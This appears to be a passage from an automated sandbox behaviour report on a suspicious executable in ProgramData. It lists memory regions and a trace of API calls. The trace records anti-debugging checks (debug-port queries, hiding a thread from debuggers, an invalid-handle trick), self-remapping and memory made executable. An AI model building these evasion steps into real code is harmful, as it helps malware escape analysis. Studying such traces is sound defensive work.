entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1504
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1505
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1506
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1507
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1508
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1509
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1510
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1511
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1512
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1513
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1514
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1515
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1516
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1527
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1528
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1529
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1530
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1531
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1532
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1533
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1534
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1535
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1536
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1537
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1538
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1539
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1540
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1541
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1542
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1543
start_va = 0xf20000
end_va = 0xf25fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000f20000"
filename = ""
Region:
id = 1574
start_va = 0xf20000
end_va = 0xf20fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f20000"
filename = ""
Region:
id = 1575
start_va = 0xf90000
end_va = 0xf90fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000f90000"
filename = ""
Region:
id = 1583
start_va = 0xfa0000
end_va = 0xfa0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000fa0000"
filename = ""
Region:
id = 1584
start_va = 0x2b50000
end_va = 0x2e86fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 1585
start_va = 0x2e90000
end_va = 0x2f97fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002e90000"
filename = ""
Region:
id = 1653
start_va = 0x729b0000
end_va = 0x72a24fff
monitored = 0
entry_point = 0x729e9a60
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 1654
start_va = 0x2e90000
end_va = 0x2feffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002e90000"
filename = ""
Region:
id = 1656
start_va = 0x74a30000
end_va = 0x74b1afff
monitored = 0
entry_point = 0x74a6d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 1657
start_va = 0x2e90000
end_va = 0x2f20fff
monitored = 0
entry_point = 0x2ec8cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 1658
start_va = 0x2fe0000
end_va = 0x2feffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002fe0000"
filename = ""
Region:
id = 1659
start_va = 0x6f6c0000
end_va = 0x6f80afff
monitored = 0
entry_point = 0x6f721660
region_type = mapped_file
name = "propsys.dll"
filename = "\\Windows\\SysWOW64\\propsys.dll" (normalized: "c:\\windows\\syswow64\\propsys.dll")
Region:
id = 1660
start_va = 0x73da0000
end_va = 0x73e31fff
monitored = 0
entry_point = 0x73dd8cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 1661
start_va = 0xfb0000
end_va = 0xfb0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000fb0000"
filename = ""
Region:
id = 1662
start_va = 0x761a0000
end_va = 0x76223fff
monitored = 0
entry_point = 0x761c6220
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 1663
start_va = 0xfc0000
end_va = 0xfc0fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000fc0000"
filename = ""
Region:
id = 1664
start_va = 0xfd0000
end_va = 0xfd3fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1665
start_va = 0x29c0000
end_va = 0x2a04fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000012.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000012.db")
Region:
id = 1666
start_va = 0x2a40000
end_va = 0x2a4ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002a40000"
filename = ""
Region:
id = 1667
start_va = 0x2a10000
end_va = 0x2a13fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.2.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db")
Region:
id = 1668
start_va = 0x2e90000
end_va = 0x2f1dfff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db"
filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db")
Region:
id = 1669
start_va = 0x2a20000
end_va = 0x2a30fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "propsys.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui")
Region:
id = 1670
start_va = 0x2f20000
end_va = 0x2f23fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "cversions.1.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db")
Region:
id = 1671
start_va = 0x2f30000
end_va = 0x2f43fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001f.db"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001f.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001f.db")
Region:
id = 1672
start_va = 0x2f50000
end_va = 0x2f50fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002f50000"
filename = ""
Region:
id = 1673
start_va = 0x2f60000
end_va = 0x2f9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002f60000"
filename = ""
Region:
id = 1674
start_va = 0x2ff0000
end_va = 0x30effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002ff0000"
filename = ""
Region:
id = 1675
start_va = 0x2fa0000
end_va = 0x2fdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002fa0000"
filename = ""
Region:
id = 1676
start_va = 0x30f0000
end_va = 0x31effff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000030f0000"
filename = ""
Region:
id = 1677
start_va = 0x31f0000
end_va = 0x322ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000031f0000"
filename = ""
Region:
id = 1678
start_va = 0x3230000
end_va = 0x332ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003230000"
filename = ""
Region:
id = 1679
start_va = 0x3330000
end_va = 0x336ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003330000"
filename = ""
Region:
id = 1680
start_va = 0x3370000
end_va = 0x346ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003370000"
filename = ""
Region:
id = 1681
start_va = 0x3470000
end_va = 0x34affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000003470000"
filename = ""
Region:
id = 1682
start_va = 0x34b0000
end_va = 0x35affff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000034b0000"
filename = ""
Region:
id = 1683
start_va = 0x714a0000
end_va = 0x7161dfff
monitored = 0
entry_point = 0x7151c630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 1684
start_va = 0x73880000
end_va = 0x73b4afff
monitored = 0
entry_point = 0x73abc4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 1685
start_va = 0x2f20000
end_va = 0x2f20fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002f20000"
filename = ""
Region:
id = 1699
start_va = 0x7eb90000
end_va = 0x7ef30fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Thread:
id = 128
os_tid = 0x13a0
[0066.427] LocalAlloc (uFlags=0x0, uBytes=0xc8) returned 0xff5bc8
[0066.434] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76840000
[0066.443] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x76ed0000
[0066.564] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x1a, ProcessInformation=0xeff664, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0xeff664, ReturnLength=0x0) returned 0x0
[0066.567] NtSetInformationProcess (ProcessHandle=0xffffffff, ProcessInformationClass=0x28, ProcessInformation=0xeff634, ProcessInformationLength=0xc) returned 0x0
[0066.570] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0xeff0ac, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0xeff0ac, ReturnLength=0x0) returned 0x0
[0068.856] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0xeff0ac, ProcessInformationLength=0x8, ReturnLength=0xeff840 | out: ProcessInformation=0xeff0ac, ReturnLength=0xeff840) returned 0xc0000353
[0068.857] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x1e, ProcessInformation=0xeff0ac, ProcessInformationLength=0x8, ReturnLength=0x1 | out: ProcessInformation=0xeff0ac, ReturnLength=0x1) returned 0xc0000005
[0068.858] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0068.859] NtQuerySystemInformation (in: SystemInformationClass=0x23, SystemInformation=0xeff7d4, Length=0x2, ResultLength=0x0 | out: SystemInformation=0xeff7d4, ResultLength=0x0) returned 0x0
[0068.859] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0xeff7f0, Length=0x0, ResultLength=0xeff7e0 | out: SystemInformation=0xeff7f0, ResultLength=0xeff7e0*=0x991c) returned 0xc0000004
[0068.860] LocalAlloc (uFlags=0x0, uBytes=0x13238) returned 0xffb740
[0068.861] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0xffb740, Length=0x13238, ResultLength=0x0 | out: SystemInformation=0xffb740, ResultLength=0x0) returned 0x0
[0069.540] LocalFree (hMem=0xffb740) returned 0x0
[0070.081] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x7, ProcessInformation=0xeff0ac, ProcessInformationLength=0x8, ReturnLength=0x0 | out: ProcessInformation=0xeff0ac, ReturnLength=0x0) returned 0x0
[0070.082] NtSetInformationThread (ThreadHandle=0xfffffffffffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
[0070.083] GetModuleFileNameW (in: hModule=0x90000, lpFilename=0xeff2fc, nSize=0xfe | out: lpFilename="C:\\ProgramData\\35705580001859887656.exe" (normalized: "c:\\programdata\\35705580001859887656.exe")) returned 0x27
[0070.141] NtOpenFile (in: FileHandle=0xeff0a8, DesiredAccess=0x80100080, ObjectAttributes=0xeff070*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\35705580001859887656.exe", Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xeff098, ShareAccess=0x3, OpenOptions=0x60 | out: FileHandle=0xeff0a8*=0x170, IoStatusBlock=0xeff098*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0
[0070.144] NtCreateSection (in: SectionHandle=0xeff0a4, DesiredAccess=0x4, ObjectAttributes=0xeff070*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), MaximumSize=0x0, SectionPageProtection=0x2, AllocationAttributes=0x8000000, FileHandle=0x170 | out: SectionHandle=0xeff0a4*=0x174) returned 0x0
[0070.146] NtMapViewOfSection (in: SectionHandle=0x174, ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff098*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0xeff090*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0xeff098*=0x2b50000, SectionOffset=0x0, ViewSize=0xeff090*=0x738000) returned 0x0
[0070.259] NtUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x2b50000) returned 0x0
[0070.529] NtClose (Handle=0x174) returned 0x0
[0070.529] NtClose (Handle=0x170) returned 0x0
[0070.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xcc000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x40, OldAccessProtection=0xeff6c0 | out: BaseAddress=0xeff0ac*=0xcc000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c0*=0x20) returned 0x0
[0070.543] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0x91000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x40, OldAccessProtection=0xeff6c0 | out: BaseAddress=0xeff0ac*=0x91000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c0*=0x20) returned 0x0
[0070.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xbb000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x4, OldAccessProtection=0xeff6c0 | out: BaseAddress=0xeff0ac*=0xbb000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c0*=0x2) returned 0x0
[0070.546] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xf1000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x4, OldAccessProtection=0xeff6c0 | out: BaseAddress=0xeff0ac*=0xf1000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c0*=0x80) returned 0x0
[0070.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xeff0ac*=0xb7d000, NumberOfBytesToProtect=0xeff0a4, NewAccessProtection=0x4, OldAccessProtection=0xeff6c0 | out: BaseAddress=0xeff0ac*=0xb7d000, NumberOfBytesToProtect=0xeff0a4, OldAccessProtection=0xeff6c0*=0x2) returned 0x0
[0070.551] LocalAlloc (uFlags=0x0, uBytes=0x3e6c) returned 0xffb740
[0072.865] LocalFree (hMem=0xffb740) returned 0x0
[0072.868] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76840000
[0072.946] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.951] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.952] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.952] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.952] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.953] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.955] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.960] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.964] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0072.965] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x73f00000
[0072.967] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x76df0000
[0072.968] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74d70000
[0072.969] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x71290000
[0072.972] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x76840000
[0073.077] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.077] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.078] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.078] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.084] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.086] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.088] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.092] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.093] GetModuleHandleA (lpModuleName="NTDLL") returned 0x76ed0000
[0073.094] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x73f00000
[0073.095] CloseHandle (hObject=0xdeadc0de) returned 0
[0073.097] VirtualQuery (in: lpAddress=0x4d63cc, lpBuffer=0xefe380, dwLength=0x1c | out: lpBuffer=0xefe380*(BaseAddress=0x4d6000, AllocationBase=0x90000, AllocationProtect=0x80, RegionSize=0x6a6000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c
[0073.098] RtlUnwind (TargetFrame=0xeff8b4, TargetIp=0xe8538, ExceptionRecord=0x0, ReturnValue=0x0)
[0073.100] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xff5bc8, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xeff080, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xeff080*(BaseAddress=0xff5000, AllocationBase=0x0, AllocationProtect=0xfe0000, RegionSize=0x0, State=0x4, Protect=0xfffff800, Type=0x7000), ResultLength=0x0) returned 0x0
[0073.101] NtQueryVirtualMemory (in: ProcessHandle=0xffffffffffffffff, Address=0xbca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xeff080, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xeff080*(BaseAddress=0xbca000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff800, Type=0x6000), ResultLength=0x0) returned 0x0
[0075.795] NtQuerySystemInformation (in: SystemInformationClass=0x0, SystemInformation=0xeff4f8, Length=0x2c, ResultLength=0x0 | out: SystemInformation=0xeff4f8, ResultLength=0x0) returned 0x0
[0075.796] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0xeff540, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0xeff540, ReturnLength=0x0) returned 0x0
[0075.796] NtQueryInformationThread (in: ThreadHandle=0xfffffffe, ThreadInformationClass=0x0, ThreadInformation=0xeff524, ThreadInformationLength=0x1c, ReturnLength=0x0 | out: ThreadInformation=0xeff524, ReturnLength=0x0) returned 0x0
[0075.797] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0xeff7e4, ThreadInformationLength=0x4) returned 0x0
[0075.797] NtDelayExecution (Alertable=0, Interval=0xeff648*=0) returned 0x0
[0075.809] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0xeff7e4, ThreadInformationLength=0x4) returned 0xc000000d
[0075.810] NtDelayExecution (Alertable=0, Interval=0xeff648*=0) returned 0x0
[0075.816] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0xeff7e4, ThreadInformationLength=0x4) returned 0xc000000d
[0075.816] NtDelayExecution (Alertable=0, Interval=0xeff648*=0) returned 0x0
[0075.817] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0xeff7e4, ThreadInformationLength=0x4) returned 0xc000000d
[0075.818] NtDelayExecution (Alertable=0, Interval=0xeff648*=0) returned 0x0
[0075.823] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x4, ThreadInformation=0xeff534, ThreadInformationLength=0x4) returned 0x0
[0075.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xefe2ac | out: lpSystemTimeAsFileTime=0xefe2ac*(dwLowDateTime=0x87e210ba, dwHighDateTime=0x1d96e12))
[0075.823] GetCurrentProcessId () returned 0x139c
[0075.823] GetCurrentThreadId () returned 0x13a0
[0075.823] GetTickCount () returned 0x14e5943
[0075.823] QueryPerformanceCounter (in: lpPerformanceCount=0xefe2a4 | out: lpPerformanceCount=0xefe2a4*=2207421133883) returned 1
[0075.824] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xf30000
[0075.824] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0075.824] GetProcAddress (hModule=0x76840000, lpProcName="FlsAlloc") returned 0x7685a980
[0075.825] GetProcAddress (hModule=0x76840000, lpProcName="FlsGetValue") returned 0x76857570
[0075.825] GetProcAddress (hModule=0x76840000, lpProcName="FlsSetValue") returned 0x76859e30
[0075.825] GetProcAddress (hModule=0x76840000, lpProcName="FlsFree") returned 0x76864ff0
[0075.826] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x214) returned 0xf305a8
[0075.826] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76840000
[0075.827] GetCurrentThreadId () returned 0x13a0
[0075.827] GetCommandLineA () returned="\"C:\\ProgramData\\35705580001859887656.exe\" "
[0075.827] GetEnvironmentStringsW () returned 0xffb740*
[0075.827] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1440
[0075.828] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x0, Size=0x5a0) returned 0xf307c8
[0075.828] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1440, lpMultiByteStr=0xf307c8, cbMultiByte=1440, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1440
[0075.828] FreeEnvironmentStringsW (penv=0xffb740) returned 1
[0075.828] GetStartupInfoW (in: lpStartupInfo=0xefe1f4 | out: lpStartupInfo=0xefe1f4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\ProgramData\\35705580001859887656.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0))
[0075.828] RtlAllocateHeap (HeapHandle=0xf30000, Flags=0x8, Size=0x800) returned 0xf30d70
[0075.828] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0075.828] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
[0075.828] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0075.828] SetHandleCount (uNumber=0x20) returned 0x20
[0075.828] GetLastError () returned 0x6
[0075.828] SetLastError (dwErrCode=0x6)
[0075.828] GetLastError () returned 0x6
[0075.828] SetLastError (dwErrCode=0x6)
[0075.828] GetLastError () returned 0x6
[0075.828] SetLastError (dwErrCode=0x6)
[0075.829] GetACP () returned 0x4e4
